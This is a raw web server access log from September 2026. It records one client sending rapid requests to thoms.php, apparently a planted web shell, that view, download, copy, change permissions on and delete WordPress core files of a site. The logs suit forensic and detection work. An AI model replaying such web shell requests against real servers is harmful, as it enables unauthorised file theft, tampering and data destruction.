45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?chmod=wp-db.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?del=https-detection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59171 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 200 13442 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59210 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?chmod=date.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 200 12412 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?del=html-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=html-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?del=bookmark-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?del=class-wp-role.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblocks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblocks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:07 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 200 16325 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?chmod=meta.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:08 -0400] "GET /thoms.php?dl=class-snoopy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 200 37978 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?chmod=class-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 200 12783 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?dl=functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 200 50976 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?chmod=interactivity-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?chmod=l10n&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?dl=taxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59184 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:09 -0400] "GET /thoms.php?chmod=pomo&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?dl=block-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 200 12414 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 200 23011 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcategory-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcategory-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 200 17027 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?chmod=class-IXR.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?del=Text&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59232 "http://163.245.207.76:443/thoms.php?del=Text&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:10 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59202 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?chmod=comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 200 13429 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 200 14969 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:12 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 200 19205 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:11 -0400] "GET /thoms.php?del=ms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:12 -0400] "GET /thoms.php?del=link-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:12 -0400] "GET /thoms.php?del=load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:12 -0400] "GET /thoms.php?dl=ms-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:12 -0400] "GET /thoms.php?dl=registration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59209 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:12 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 200 19700 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:13 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:13 -0400] "GET /thoms.php?chmod=rest-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:13 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:13 -0400] "GET /thoms.php?del=default-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
